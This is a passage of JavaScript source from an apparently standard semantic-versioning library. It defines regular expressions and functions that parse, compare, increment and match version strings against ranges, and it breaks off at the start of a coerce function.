src[MAINVERSIONLOOSE] = '(' + src[NUMERICIDENTIFIERLOOSE] + ')\\.' +
'(' + src[NUMERICIDENTIFIERLOOSE] + ')\\.' +
'(' + src[NUMERICIDENTIFIERLOOSE] + ')';
// ## Pre-release Version Identifier
// A numeric identifier, or a non-numeric identifier.
var PRERELEASEIDENTIFIER = R++;
src[PRERELEASEIDENTIFIER] = '(?:' + src[NUMERICIDENTIFIER] +
'|' + src[NONNUMERICIDENTIFIER] + ')';
var PRERELEASEIDENTIFIERLOOSE = R++;
src[PRERELEASEIDENTIFIERLOOSE] = '(?:' + src[NUMERICIDENTIFIERLOOSE] +
'|' + src[NONNUMERICIDENTIFIER] + ')';
// ## Pre-release Version
// Hyphen, followed by one or more dot-separated pre-release version
// identifiers.
var PRERELEASE = R++;
src[PRERELEASE] = '(?:-(' + src[PRERELEASEIDENTIFIER] +
'(?:\\.' + src[PRERELEASEIDENTIFIER] + ')*))';
var PRERELEASELOOSE = R++;
src[PRERELEASELOOSE] = '(?:-?(' + src[PRERELEASEIDENTIFIERLOOSE] +
'(?:\\.' + src[PRERELEASEIDENTIFIERLOOSE] + ')*))';
// ## Build Metadata Identifier
// Any combination of digits, letters, or hyphens.
var BUILDIDENTIFIER = R++;
src[BUILDIDENTIFIER] = '[0-9A-Za-z-]+';
// ## Build Metadata
// Plus sign, followed by one or more period-separated build metadata
// identifiers.
var BUILD = R++;
src[BUILD] = '(?:\\+(' + src[BUILDIDENTIFIER] +
'(?:\\.' + src[BUILDIDENTIFIER] + ')*))';
// ## Full Version String
// A main version, followed optionally by a pre-release version and
// build metadata.
// Note that the only major, minor, patch, and pre-release sections of
// the version string are capturing groups. The build metadata is not a
// capturing group, because it should not ever be used in version
// comparison.
var FULL = R++;
var FULLPLAIN = 'v?' + src[MAINVERSION] +
src[PRERELEASE] + '?' +
src[BUILD] + '?';
src[FULL] = '^' + FULLPLAIN + '$';
// like full, but allows v1.2.3 and =1.2.3, which people do sometimes.
// also, 1.0.0alpha1 (prerelease without the hyphen) which is pretty
// common in the npm registry.
var LOOSEPLAIN = '[v=\\s]*' + src[MAINVERSIONLOOSE] +
src[PRERELEASELOOSE] + '?' +
src[BUILD] + '?';
var LOOSE = R++;
src[LOOSE] = '^' + LOOSEPLAIN + '$';
var GTLT = R++;
src[GTLT] = '((?:<|>)?=?)';
// Something like "2.*" or "1.2.x".
// Note that "x.x" is a valid xRange identifer, meaning "any version"
// Only the first item is strictly required.
var XRANGEIDENTIFIERLOOSE = R++;
src[XRANGEIDENTIFIERLOOSE] = src[NUMERICIDENTIFIERLOOSE] + '|x|X|\\*';
var XRANGEIDENTIFIER = R++;
src[XRANGEIDENTIFIER] = src[NUMERICIDENTIFIER] + '|x|X|\\*';
var XRANGEPLAIN = R++;
src[XRANGEPLAIN] = '[v=\\s]*(' + src[XRANGEIDENTIFIER] + ')' +
'(?:\\.(' + src[XRANGEIDENTIFIER] + ')' +
'(?:\\.(' + src[XRANGEIDENTIFIER] + ')' +
'(?:' + src[PRERELEASE] + ')?' +
src[BUILD] + '?' +
')?)?';
var XRANGEPLAINLOOSE = R++;
src[XRANGEPLAINLOOSE] = '[v=\\s]*(' + src[XRANGEIDENTIFIERLOOSE] + ')' +
'(?:\\.(' + src[XRANGEIDENTIFIERLOOSE] + ')' +
'(?:\\.(' + src[XRANGEIDENTIFIERLOOSE] + ')' +
'(?:' + src[PRERELEASELOOSE] + ')?' +
src[BUILD] + '?' +
')?)?';
var XRANGE = R++;
src[XRANGE] = '^' + src[GTLT] + '\\s*' + src[XRANGEPLAIN] + '$';
var XRANGELOOSE = R++;
src[XRANGELOOSE] = '^' + src[GTLT] + '\\s*' + src[XRANGEPLAINLOOSE] + '$';
// Coercion.
// Extract anything that could conceivably be a part of a valid semver
var COERCE = R++;
src[COERCE] = '(?:^|[^\\d])' +
'(\\d{1,' + MAX_SAFE_COMPONENT_LENGTH + '})' +
'(?:\\.(\\d{1,' + MAX_SAFE_COMPONENT_LENGTH + '}))?' +
'(?:\\.(\\d{1,' + MAX_SAFE_COMPONENT_LENGTH + '}))?' +
'(?:$|[^\\d])';
// Tilde ranges.
// Meaning is "reasonably at or greater than"
var LONETILDE = R++;
src[LONETILDE] = '(?:~>?)';
var TILDETRIM = R++;
src[TILDETRIM] = '(\\s*)' + src[LONETILDE] + '\\s+';
re[TILDETRIM] = new RegExp(src[TILDETRIM], 'g');
var tildeTrimReplace = '$1~';
var TILDE = R++;
src[TILDE] = '^' + src[LONETILDE] + src[XRANGEPLAIN] + '$';
var TILDELOOSE = R++;
src[TILDELOOSE] = '^' + src[LONETILDE] + src[XRANGEPLAINLOOSE] + '$';
// Caret ranges.
// Meaning is "at least and backwards compatible with"
var LONECARET = R++;
src[LONECARET] = '(?:\\^)';
var CARETTRIM = R++;
src[CARETTRIM] = '(\\s*)' + src[LONECARET] + '\\s+';
re[CARETTRIM] = new RegExp(src[CARETTRIM], 'g');
var caretTrimReplace = '$1^';
var CARET = R++;
src[CARET] = '^' + src[LONECARET] + src[XRANGEPLAIN] + '$';
var CARETLOOSE = R++;
src[CARETLOOSE] = '^' + src[LONECARET] + src[XRANGEPLAINLOOSE] + '$';
// A simple gt/lt/eq thing, or just "" to indicate "any version"
var COMPARATORLOOSE = R++;
src[COMPARATORLOOSE] = '^' + src[GTLT] + '\\s*(' + LOOSEPLAIN + ')$|^$';
var COMPARATOR = R++;
src[COMPARATOR] = '^' + src[GTLT] + '\\s*(' + FULLPLAIN + ')$|^$';
// An expression to strip any whitespace between the gtlt and the thing
// it modifies, so that `> 1.2.3` ==> `>1.2.3`
var COMPARATORTRIM = R++;
src[COMPARATORTRIM] = '(\\s*)' + src[GTLT] +
'\\s*(' + LOOSEPLAIN + '|' + src[XRANGEPLAIN] + ')';
// this one has to use the /g flag
re[COMPARATORTRIM] = new RegExp(src[COMPARATORTRIM], 'g');
var comparatorTrimReplace = '$1$2$3';
// Something like `1.2.3 - 1.2.4`
// Note that these all use the loose form, because they'll be
// checked against either the strict or loose comparator form
// later.
var HYPHENRANGE = R++;
src[HYPHENRANGE] = '^\\s*(' + src[XRANGEPLAIN] + ')' +
'\\s+-\\s+' +
'(' + src[XRANGEPLAIN] + ')' +
'\\s*$';
var HYPHENRANGELOOSE = R++;
src[HYPHENRANGELOOSE] = '^\\s*(' + src[XRANGEPLAINLOOSE] + ')' +
'\\s+-\\s+' +
'(' + src[XRANGEPLAINLOOSE] + ')' +
'\\s*$';
// Star ranges basically just allow anything at all.
var STAR = R++;
src[STAR] = '(<|>)?=?\\s*\\*';
// Compile to actual regexp objects.
// All are flag-free, unless they were created above with a flag.
for (var i = 0; i < R; i++) {
debug(i, src[i]);
if (!re[i])
re[i] = new RegExp(src[i]);
}
exports.parse = parse;
function parse(version, loose) {
if (version instanceof SemVer)
return version;
if (typeof version !== 'string')
return null;
if (version.length > MAX_LENGTH)
return null;
var r = loose ? re[LOOSE] : re[FULL];
if (!r.test(version))
return null;
try {
return new SemVer(version, loose);
} catch (er) {
return null;
}
}
exports.valid = valid;
function valid(version, loose) {
var v = parse(version, loose);
return v ? v.version : null;
}
exports.clean = clean;
function clean(version, loose) {
var s = parse(version.trim().replace(/^[=v]+/, ''), loose);
return s ? s.version : null;
}
exports.SemVer = SemVer;
function SemVer(version, loose) {
if (version instanceof SemVer) {
if (version.loose === loose)
return version;
else
version = version.version;
} else if (typeof version !== 'string') {
throw new TypeError('Invalid Version: ' + version);
}
if (version.length > MAX_LENGTH)
throw new TypeError('version is longer than ' + MAX_LENGTH + ' characters')
if (!(this instanceof SemVer))
return new SemVer(version, loose);
debug('SemVer', version, loose);
this.loose = loose;
var m = version.trim().match(loose ? re[LOOSE] : re[FULL]);
if (!m)
throw new TypeError('Invalid Version: ' + version);
this.raw = version;
// these are actually numbers
this.major = +m[1];
this.minor = +m[2];
this.patch = +m[3];
if (this.major > MAX_SAFE_INTEGER || this.major < 0)
throw new TypeError('Invalid major version')
if (this.minor > MAX_SAFE_INTEGER || this.minor < 0)
throw new TypeError('Invalid minor version')
if (this.patch > MAX_SAFE_INTEGER || this.patch < 0)
throw new TypeError('Invalid patch version')
// numberify any prerelease numeric ids
if (!m[4])
this.prerelease = [];
else
this.prerelease = m[4].split('.').map(function(id) {
if (/^[0-9]+$/.test(id)) {
var num = +id;
if (num >= 0 && num < MAX_SAFE_INTEGER)
return num;
}
return id;
});
this.build = m[5] ? m[5].split('.') : [];
this.format();
}
SemVer.prototype.format = function() {
this.version = this.major + '.' + this.minor + '.' + this.patch;
if (this.prerelease.length)
this.version += '-' + this.prerelease.join('.');
return this.version;
};
SemVer.prototype.toString = function() {
return this.version;
};
SemVer.prototype.compare = function(other) {
debug('SemVer.compare', this.version, this.loose, other);
if (!(other instanceof SemVer))
other = new SemVer(other, this.loose);
return this.compareMain(other) || this.comparePre(other);
};
SemVer.prototype.compareMain = function(other) {
if (!(other instanceof SemVer))
other = new SemVer(other, this.loose);
return compareIdentifiers(this.major, other.major) ||
compareIdentifiers(this.minor, other.minor) ||
compareIdentifiers(this.patch, other.patch);
};
SemVer.prototype.comparePre = function(other) {
if (!(other instanceof SemVer))
other = new SemVer(other, this.loose);
// NOT having a prerelease is > having one
if (this.prerelease.length && !other.prerelease.length)
return -1;
else if (!this.prerelease.length && other.prerelease.length)
return 1;
else if (!this.prerelease.length && !other.prerelease.length)
return 0;
var i = 0;
do {
var a = this.prerelease[i];
var b = other.prerelease[i];
debug('prerelease compare', i, a, b);
if (a === undefined && b === undefined)
return 0;
else if (b === undefined)
return 1;
else if (a === undefined)
return -1;
else if (a === b)
continue;
else
return compareIdentifiers(a, b);
} while (++i);
};
// preminor will bump the version up to the next minor release, and immediately
// down to pre-release. premajor and prepatch work the same way.
SemVer.prototype.inc = function(release, identifier) {
switch (release) {
case 'premajor':
this.prerelease.length = 0;
this.patch = 0;
this.minor = 0;
this.major++;
this.inc('pre', identifier);
break;
case 'preminor':
this.prerelease.length = 0;
this.patch = 0;
this.minor++;
this.inc('pre', identifier);
break;
case 'prepatch':
// If this is already a prerelease, it will bump to the next version
// drop any prereleases that might already exist, since they are not
// relevant at this point.
this.prerelease.length = 0;
this.inc('patch', identifier);
this.inc('pre', identifier);
break;
// If the input is a non-prerelease version, this acts the same as
// prepatch.
case 'prerelease':
if (this.prerelease.length === 0)
this.inc('patch', identifier);
this.inc('pre', identifier);
break;
case 'major':
// If this is a pre-major version, bump up to the same major version.
// Otherwise increment major.
// 1.0.0-5 bumps to 1.0.0
// 1.1.0 bumps to 2.0.0
if (this.minor !== 0 || this.patch !== 0 || this.prerelease.length === 0)
this.major++;
this.minor = 0;
this.patch = 0;
this.prerelease = [];
break;
case 'minor':
// If this is a pre-minor version, bump up to the same minor version.
// Otherwise increment minor.
// 1.2.0-5 bumps to 1.2.0
// 1.2.1 bumps to 1.3.0
if (this.patch !== 0 || this.prerelease.length === 0)
this.minor++;
this.patch = 0;
this.prerelease = [];
break;
case 'patch':
// If this is not a pre-release version, it will increment the patch.
// If it is a pre-release it will bump up to the same patch version.
// 1.2.0-5 patches to 1.2.0
// 1.2.0 patches to 1.2.1
if (this.prerelease.length === 0)
this.patch++;
this.prerelease = [];
break;
// This probably shouldn't be used publicly.
// 1.0.0 "pre" would become 1.0.0-0 which is the wrong direction.
case 'pre':
if (this.prerelease.length === 0)
this.prerelease = [0];
else {
var i = this.prerelease.length;
while (--i >= 0) {
if (typeof this.prerelease[i] === 'number') {
this.prerelease[i]++;
i = -2;
}
}
if (i === -1) // didn't increment anything
this.prerelease.push(0);
}
if (identifier) {
// 1.2.0-beta.1 bumps to 1.2.0-beta.2,
// 1.2.0-beta.fooblz or 1.2.0-beta bumps to 1.2.0-beta.0
if (this.prerelease[0] === identifier) {
if (isNaN(this.prerelease[1]))
this.prerelease = [identifier, 0];
} else
this.prerelease = [identifier, 0];
}
break;
default:
throw new Error('invalid increment argument: ' + release);
}
this.format();
this.raw = this.version;
return this;
};
exports.inc = inc;
function inc(version, release, loose, identifier) {
if (typeof(loose) === 'string') {
identifier = loose;
loose = undefined;
}
try {
return new SemVer(version, loose).inc(release, identifier).version;
} catch (er) {
return null;
}
}
exports.diff = diff;
function diff(version1, version2) {
if (eq(version1, version2)) {
return null;
} else {
var v1 = parse(version1);
var v2 = parse(version2);
if (v1.prerelease.length || v2.prerelease.length) {
for (var key in v1) {
if (key === 'major' || key === 'minor' || key === 'patch') {
if (v1[key] !== v2[key]) {
return 'pre'+key;
}
}
}
return 'prerelease';
}
for (var key in v1) {
if (key === 'major' || key === 'minor' || key === 'patch') {
if (v1[key] !== v2[key]) {
return key;
}
}
}
}
}
exports.compareIdentifiers = compareIdentifiers;
var numeric = /^[0-9]+$/;
function compareIdentifiers(a, b) {
var anum = numeric.test(a);
var bnum = numeric.test(b);
if (anum && bnum) {
a = +a;
b = +b;
}
return (anum && !bnum) ? -1 :
(bnum && !anum) ? 1 :
a < b ? -1 :
a > b ? 1 :
0;
}
exports.rcompareIdentifiers = rcompareIdentifiers;
function rcompareIdentifiers(a, b) {
return compareIdentifiers(b, a);
}
exports.major = major;
function major(a, loose) {
return new SemVer(a, loose).major;
}
exports.minor = minor;
function minor(a, loose) {
return new SemVer(a, loose).minor;
}
exports.patch = patch;
function patch(a, loose) {
return new SemVer(a, loose).patch;
}
exports.compare = compare;
function compare(a, b, loose) {
return new SemVer(a, loose).compare(new SemVer(b, loose));
}
exports.compareLoose = compareLoose;
function compareLoose(a, b) {
return compare(a, b, true);
}
exports.rcompare = rcompare;
function rcompare(a, b, loose) {
return compare(b, a, loose);
}
exports.sort = sort;
function sort(list, loose) {
return list.sort(function(a, b) {
return exports.compare(a, b, loose);
});
}
exports.rsort = rsort;
function rsort(list, loose) {
return list.sort(function(a, b) {
return exports.rcompare(a, b, loose);
});
}
exports.gt = gt;
function gt(a, b, loose) {
return compare(a, b, loose) > 0;
}
exports.lt = lt;
function lt(a, b, loose) {
return compare(a, b, loose) < 0;
}
exports.eq = eq;
function eq(a, b, loose) {
return compare(a, b, loose) === 0;
}
exports.neq = neq;
function neq(a, b, loose) {
return compare(a, b, loose) !== 0;
}
exports.gte = gte;
function gte(a, b, loose) {
return compare(a, b, loose) >= 0;
}
exports.lte = lte;
function lte(a, b, loose) {
return compare(a, b, loose) <= 0;
}
exports.cmp = cmp;
function cmp(a, op, b, loose) {
var ret;
switch (op) {
case '===':
if (typeof a === 'object') a = a.version;
if (typeof b === 'object') b = b.version;
ret = a === b;
break;
case '!==':
if (typeof a === 'object') a = a.version;
if (typeof b === 'object') b = b.version;
ret = a !== b;
break;
case '': case '=': case '==': ret = eq(a, b, loose); break;
case '!=': ret = neq(a, b, loose); break;
case '>': ret = gt(a, b, loose); break;
case '>=': ret = gte(a, b, loose); break;
case '<': ret = lt(a, b, loose); break;
case '<=': ret = lte(a, b, loose); break;
default: throw new TypeError('Invalid operator: ' + op);
}
return ret;
}
exports.Comparator = Comparator;
function Comparator(comp, loose) {
if (comp instanceof Comparator) {
if (comp.loose === loose)
return comp;
else
comp = comp.value;
}
if (!(this instanceof Comparator))
return new Comparator(comp, loose);
debug('comparator', comp, loose);
this.loose = loose;
this.parse(comp);
if (this.semver === ANY)
this.value = '';
else
this.value = this.operator + this.semver.version;
debug('comp', this);
}
var ANY = {};
Comparator.prototype.parse = function(comp) {
var r = this.loose ? re[COMPARATORLOOSE] : re[COMPARATOR];
var m = comp.match(r);
if (!m)
throw new TypeError('Invalid comparator: ' + comp);
this.operator = m[1];
if (this.operator === '=')
this.operator = '';
// if it literally is just '>' or '' then allow anything.
if (!m[2])
this.semver = ANY;
else
this.semver = new SemVer(m[2], this.loose);
};
Comparator.prototype.toString = function() {
return this.value;
};
Comparator.prototype.test = function(version) {
debug('Comparator.test', version, this.loose);
if (this.semver === ANY)
return true;
if (typeof version === 'string')
version = new SemVer(version, this.loose);
return cmp(version, this.operator, this.semver, this.loose);
};
Comparator.prototype.intersects = function(comp, loose) {
if (!(comp instanceof Comparator)) {
throw new TypeError('a Comparator is required');
}
var rangeTmp;
if (this.operator === '') {
rangeTmp = new Range(comp.value, loose);
return satisfies(this.value, rangeTmp, loose);
} else if (comp.operator === '') {
rangeTmp = new Range(this.value, loose);
return satisfies(comp.semver, rangeTmp, loose);
}
var sameDirectionIncreasing =
(this.operator === '>=' || this.operator === '>') &&
(comp.operator === '>=' || comp.operator === '>');
var sameDirectionDecreasing =
(this.operator === '<=' || this.operator === '<') &&
(comp.operator === '<=' || comp.operator === '<');
var sameSemVer = this.semver.version === comp.semver.version;
var differentDirectionsInclusive =
(this.operator === '>=' || this.operator === '<=') &&
(comp.operator === '>=' || comp.operator === '<=');
var oppositeDirectionsLessThan =
cmp(this.semver, '<', comp.semver, loose) &&
((this.operator === '>=' || this.operator === '>') &&
(comp.operator === '<=' || comp.operator === '<'));
var oppositeDirectionsGreaterThan =
cmp(this.semver, '>', comp.semver, loose) &&
((this.operator === '<=' || this.operator === '<') &&
(comp.operator === '>=' || comp.operator === '>'));
return sameDirectionIncreasing || sameDirectionDecreasing ||
(sameSemVer && differentDirectionsInclusive) ||
oppositeDirectionsLessThan || oppositeDirectionsGreaterThan;
};
exports.Range = Range;
function Range(range, loose) {
if (range instanceof Range) {
if (range.loose === loose) {
return range;
} else {
return new Range(range.raw, loose);
}
}
if (range instanceof Comparator) {
return new Range(range.value, loose);
}
if (!(this instanceof Range))
return new Range(range, loose);
this.loose = loose;
// First, split based on boolean or ||
this.raw = range;
this.set = range.split(/\s*\|\|\s*/).map(function(range) {
return this.parseRange(range.trim());
}, this).filter(function(c) {
// throw out any that are not relevant for whatever reason
return c.length;
});
if (!this.set.length) {
throw new TypeError('Invalid SemVer Range: ' + range);
}
this.format();
}
Range.prototype.format = function() {
this.range = this.set.map(function(comps) {
return comps.join(' ').trim();
}).join('||').trim();
return this.range;
};
Range.prototype.toString = function() {
return this.range;
};
Range.prototype.parseRange = function(range) {
var loose = this.loose;
range = range.trim();
debug('range', range, loose);
// `1.2.3 - 1.2.4` => `>=1.2.3 <=1.2.4`
var hr = loose ? re[HYPHENRANGELOOSE] : re[HYPHENRANGE];
range = range.replace(hr, hyphenReplace);
debug('hyphen replace', range);
// `> 1.2.3 < 1.2.5` => `>1.2.3 <1.2.5`
range = range.replace(re[COMPARATORTRIM], comparatorTrimReplace);
debug('comparator trim', range, re[COMPARATORTRIM]);
// `~ 1.2.3` => `~1.2.3`
range = range.replace(re[TILDETRIM], tildeTrimReplace);
// `^ 1.2.3` => `^1.2.3`
range = range.replace(re[CARETTRIM], caretTrimReplace);
// normalize spaces
range = range.split(/\s+/).join(' ');
// At this point, the range is completely trimmed and
// ready to be split into comparators.
var compRe = loose ? re[COMPARATORLOOSE] : re[COMPARATOR];
var set = range.split(' ').map(function(comp) {
return parseComparator(comp, loose);
}).join(' ').split(/\s+/);
if (this.loose) {
// in loose mode, throw out any that are not valid comparators
set = set.filter(function(comp) {
return !!comp.match(compRe);
});
}
set = set.map(function(comp) {
return new Comparator(comp, loose);
});
return set;
};
Range.prototype.intersects = function(range, loose) {
if (!(range instanceof Range)) {
throw new TypeError('a Range is required');
}
return this.set.some(function(thisComparators) {
return thisComparators.every(function(thisComparator) {
return range.set.some(function(rangeComparators) {
return rangeComparators.every(function(rangeComparator) {
return thisComparator.intersects(rangeComparator, loose);
});
});
});
});
};
// Mostly just for testing and legacy API reasons
exports.toComparators = toComparators;
function toComparators(range, loose) {
return new Range(range, loose).set.map(function(comp) {
return comp.map(function(c) {
return c.value;
}).join(' ').trim().split(' ');
});
}
// comprised of xranges, tildes, stars, and gtlt's at this point.
// already replaced the hyphen ranges
// turn into a set of JUST comparators.
function parseComparator(comp, loose) {
debug('comp', comp);
comp = replaceCarets(comp, loose);
debug('caret', comp);
comp = replaceTildes(comp, loose);
debug('tildes', comp);
comp = replaceXRanges(comp, loose);
debug('xrange', comp);
comp = replaceStars(comp, loose);
debug('stars', comp);
return comp;
}
function isX(id) {
return !id || id.toLowerCase() === 'x' || id === '*';
}
// ~, ~> --> * (any, kinda silly)
// ~2, ~2.x, ~2.x.x, ~>2, ~>2.x ~>2.x.x --> >=2.0.0 <3.0.0
// ~2.0, ~2.0.x, ~>2.0, ~>2.0.x --> >=2.0.0 <2.1.0
// ~1.2, ~1.2.x, ~>1.2, ~>1.2.x --> >=1.2.0 <1.3.0
// ~1.2.3, ~>1.2.3 --> >=1.2.3 <1.3.0
// ~1.2.0, ~>1.2.0 --> >=1.2.0 <1.3.0
function replaceTildes(comp, loose) {
return comp.trim().split(/\s+/).map(function(comp) {
return replaceTilde(comp, loose);
}).join(' ');
}
function replaceTilde(comp, loose) {
var r = loose ? re[TILDELOOSE] : re[TILDE];
return comp.replace(r, function(_, M, m, p, pr) {
debug('tilde', comp, _, M, m, p, pr);
var ret;
if (isX(M))
ret = '';
else if (isX(m))
ret = '>=' + M + '.0.0 <' + (+M + 1) + '.0.0';
else if (isX(p))
// ~1.2 == >=1.2.0 <1.3.0
ret = '>=' + M + '.' + m + '.0 <' + M + '.' + (+m + 1) + '.0';
else if (pr) {
debug('replaceTilde pr', pr);
if (pr.charAt(0) !== '-')
pr = '-' + pr;
ret = '>=' + M + '.' + m + '.' + p + pr +
' <' + M + '.' + (+m + 1) + '.0';
} else
// ~1.2.3 == >=1.2.3 <1.3.0
ret = '>=' + M + '.' + m + '.' + p +
' <' + M + '.' + (+m + 1) + '.0';
debug('tilde return', ret);
return ret;
});
}
// ^ --> * (any, kinda silly)
// ^2, ^2.x, ^2.x.x --> >=2.0.0 <3.0.0
// ^2.0, ^2.0.x --> >=2.0.0 <3.0.0
// ^1.2, ^1.2.x --> >=1.2.0 <2.0.0
// ^1.2.3 --> >=1.2.3 <2.0.0
// ^1.2.0 --> >=1.2.0 <2.0.0
function replaceCarets(comp, loose) {
return comp.trim().split(/\s+/).map(function(comp) {
return replaceCaret(comp, loose);
}).join(' ');
}
function replaceCaret(comp, loose) {
debug('caret', comp, loose);
var r = loose ? re[CARETLOOSE] : re[CARET];
return comp.replace(r, function(_, M, m, p, pr) {
debug('caret', comp, _, M, m, p, pr);
var ret;
if (isX(M))
ret = '';
else if (isX(m))
ret = '>=' + M + '.0.0 <' + (+M + 1) + '.0.0';
else if (isX(p)) {
if (M === '0')
ret = '>=' + M + '.' + m + '.0 <' + M + '.' + (+m + 1) + '.0';
else
ret = '>=' + M + '.' + m + '.0 <' + (+M + 1) + '.0.0';
} else if (pr) {
debug('replaceCaret pr', pr);
if (pr.charAt(0) !== '-')
pr = '-' + pr;
if (M === '0') {
if (m === '0')
ret = '>=' + M + '.' + m + '.' + p + pr +
' <' + M + '.' + m + '.' + (+p + 1);
else
ret = '>=' + M + '.' + m + '.' + p + pr +
' <' + M + '.' + (+m + 1) + '.0';
} else
ret = '>=' + M + '.' + m + '.' + p + pr +
' <' + (+M + 1) + '.0.0';
} else {
debug('no pr');
if (M === '0') {
if (m === '0')
ret = '>=' + M + '.' + m + '.' + p +
' <' + M + '.' + m + '.' + (+p + 1);
else
ret = '>=' + M + '.' + m + '.' + p +
' <' + M + '.' + (+m + 1) + '.0';
} else
ret = '>=' + M + '.' + m + '.' + p +
' <' + (+M + 1) + '.0.0';
}
debug('caret return', ret);
return ret;
});
}
function replaceXRanges(comp, loose) {
debug('replaceXRanges', comp, loose);
return comp.split(/\s+/).map(function(comp) {
return replaceXRange(comp, loose);
}).join(' ');
}
function replaceXRange(comp, loose) {
comp = comp.trim();
var r = loose ? re[XRANGELOOSE] : re[XRANGE];
return comp.replace(r, function(ret, gtlt, M, m, p, pr) {
debug('xRange', comp, ret, gtlt, M, m, p, pr);
var xM = isX(M);
var xm = xM || isX(m);
var xp = xm || isX(p);
var anyX = xp;
if (gtlt === '=' && anyX)
gtlt = '';
if (xM) {
if (gtlt === '>' || gtlt === '<') {
// nothing is allowed
ret = '<0.0.0';
} else {
// nothing is forbidden
ret = '*';
}
} else if (gtlt && anyX) {
// replace X with 0
if (xm)
m = 0;
if (xp)
p = 0;
if (gtlt === '>') {
// >1 => >=2.0.0
// >1.2 => >=1.3.0
// >1.2.3 => >= 1.2.4
gtlt = '>=';
if (xm) {
M = +M + 1;
m = 0;
p = 0;
} else if (xp) {
m = +m + 1;
p = 0;
}
} else if (gtlt === '<=') {
// <=0.7.x is actually <0.8.0, since any 0.7.x should
// pass. Similarly, <=7.x is actually <8.0.0, etc.
gtlt = '<';
if (xm)
M = +M + 1;
else
m = +m + 1;
}
ret = gtlt + M + '.' + m + '.' + p;
} else if (xm) {
ret = '>=' + M + '.0.0 <' + (+M + 1) + '.0.0';
} else if (xp) {
ret = '>=' + M + '.' + m + '.0 <' + M + '.' + (+m + 1) + '.0';
}
debug('xRange return', ret);
return ret;
});
}
// Because * is AND-ed with everything else in the comparator,
// and '' means "any version", just remove the *s entirely.
function replaceStars(comp, loose) {
debug('replaceStars', comp, loose);
// Looseness is ignored here. star is always as loose as it gets!
return comp.trim().replace(re[STAR], '');
}
// This function is passed to string.replace(re[HYPHENRANGE])
// M, m, patch, prerelease, build
// 1.2 - 3.4.5 => >=1.2.0 <=3.4.5
// 1.2.3 - 3.4 => >=1.2.0 <3.5.0 Any 3.4.x will do
// 1.2 - 3.4 => >=1.2.0 <3.5.0
function hyphenReplace($0,
from, fM, fm, fp, fpr, fb,
to, tM, tm, tp, tpr, tb) {
if (isX(fM))
from = '';
else if (isX(fm))
from = '>=' + fM + '.0.0';
else if (isX(fp))
from = '>=' + fM + '.' + fm + '.0';
else
from = '>=' + from;
if (isX(tM))
to = '';
else if (isX(tm))
to = '<' + (+tM + 1) + '.0.0';
else if (isX(tp))
to = '<' + tM + '.' + (+tm + 1) + '.0';
else if (tpr)
to = '<=' + tM + '.' + tm + '.' + tp + '-' + tpr;
else
to = '<=' + to;
return (from + ' ' + to).trim();
}
// if ANY of the sets match ALL of its comparators, then pass
Range.prototype.test = function(version) {
if (!version)
return false;
if (typeof version === 'string')
version = new SemVer(version, this.loose);
for (var i = 0; i < this.set.length; i++) {
if (testSet(this.set[i], version))
return true;
}
return false;
};
function testSet(set, version) {
for (var i = 0; i < set.length; i++) {
if (!set[i].test(version))
return false;
}
if (version.prerelease.length) {
// Find the set of versions that are allowed to have prereleases
// For example, ^1.2.3-pr.1 desugars to >=1.2.3-pr.1 <2.0.0
// That should allow `1.2.3-pr.2` to pass.
// However, `1.2.4-alpha.notready` should NOT be allowed,
// even though it's within the range set by the comparators.
for (var i = 0; i < set.length; i++) {
debug(set[i].semver);
if (set[i].semver === ANY)
continue;
if (set[i].semver.prerelease.length > 0) {
var allowed = set[i].semver;
if (allowed.major === version.major &&
allowed.minor === version.minor &&
allowed.patch === version.patch)
return true;
}
}
// Version has a -pre, but it's not one of the ones we like.
return false;
}
return true;
}
exports.satisfies = satisfies;
function satisfies(version, range, loose) {
try {
range = new Range(range, loose);
} catch (er) {
return false;
}
return range.test(version);
}
exports.maxSatisfying = maxSatisfying;
function maxSatisfying(versions, range, loose) {
var max = null;
var maxSV = null;
try {
var rangeObj = new Range(range, loose);
} catch (er) {
return null;
}
versions.forEach(function (v) {
if (rangeObj.test(v)) { // satisfies(v, range, loose)
if (!max || maxSV.compare(v) === -1) { // compare(max, v, true)
max = v;
maxSV = new SemVer(max, loose);
}
}
})
return max;
}
exports.minSatisfying = minSatisfying;
function minSatisfying(versions, range, loose) {
var min = null;
var minSV = null;
try {
var rangeObj = new Range(range, loose);
} catch (er) {
return null;
}
versions.forEach(function (v) {
if (rangeObj.test(v)) { // satisfies(v, range, loose)
if (!min || minSV.compare(v) === 1) { // compare(min, v, true)
min = v;
minSV = new SemVer(min, loose);
}
}
})
return min;
}
exports.validRange = validRange;
function validRange(range, loose) {
try {
// Return '*' instead of '' so that truthiness works.
// This will throw if it's invalid anyway
return new Range(range, loose).range || '*';
} catch (er) {
return null;
}
}
// Determine if version is less than all the versions possible in the range
exports.ltr = ltr;
function ltr(version, range, loose) {
return outside(version, range, '<', loose);
}
// Determine if version is greater than all the versions possible in the range.
exports.gtr = gtr;
function gtr(version, range, loose) {
return outside(version, range, '>', loose);
}
exports.outside = outside;
function outside(version, range, hilo, loose) {
version = new SemVer(version, loose);
range = new Range(range, loose);
var gtfn, ltefn, ltfn, comp, ecomp;
switch (hilo) {
case '>':
gtfn = gt;
ltefn = lte;
ltfn = lt;
comp = '>';
ecomp = '>=';
break;
case '<':
gtfn = lt;
ltefn = gte;
ltfn = gt;
comp = '<';
ecomp = '<=';
break;
default:
throw new TypeError('Must provide a hilo val of "<" or ">"');
}
// If it satisifes the range it is not outside
if (satisfies(version, range, loose)) {
return false;
}
// From now on, variable terms are as if we're in "gtr" mode.
// but note that everything is flipped for the "ltr" function.
for (var i = 0; i < range.set.length; ++i) {
var comparators = range.set[i];
var high = null;
var low = null;
comparators.forEach(function(comparator) {
if (comparator.semver === ANY) {
comparator = new Comparator('>=0.0.0')
}
high = high || comparator;
low = low || comparator;
if (gtfn(comparator.semver, high.semver, loose)) {
high = comparator;
} else if (ltfn(comparator.semver, low.semver, loose)) {
low = comparator;
}
});
// If the edge version comparator has a operator then our version
// isn't outside it
if (high.operator === comp || high.operator === ecomp) {
return false;
}
// If the lowest version comparator has an operator and our version
// is less than it then it isn't higher than the range
if ((!low.operator || low.operator === comp) &&
ltefn(version, low.semver)) {
return false;
} else if (low.operator === ecomp && ltfn(version, low.semver)) {
return false;
}
}
return true;
}
exports.prerelease = prerelease;
function prerelease(version, loose) {
var parsed = parse(version, loose);
return (parsed && parsed.prerelease.length) ? parsed.prerelease : null;
}
exports.intersects = intersects;
function intersects(r1, r2, loose) {
r1 = new Range(r1, loose)
r2 = new Range(r2, loose)
return r1.intersects(r2)
}
exports.coerce = coerce;
function coerce(version) {
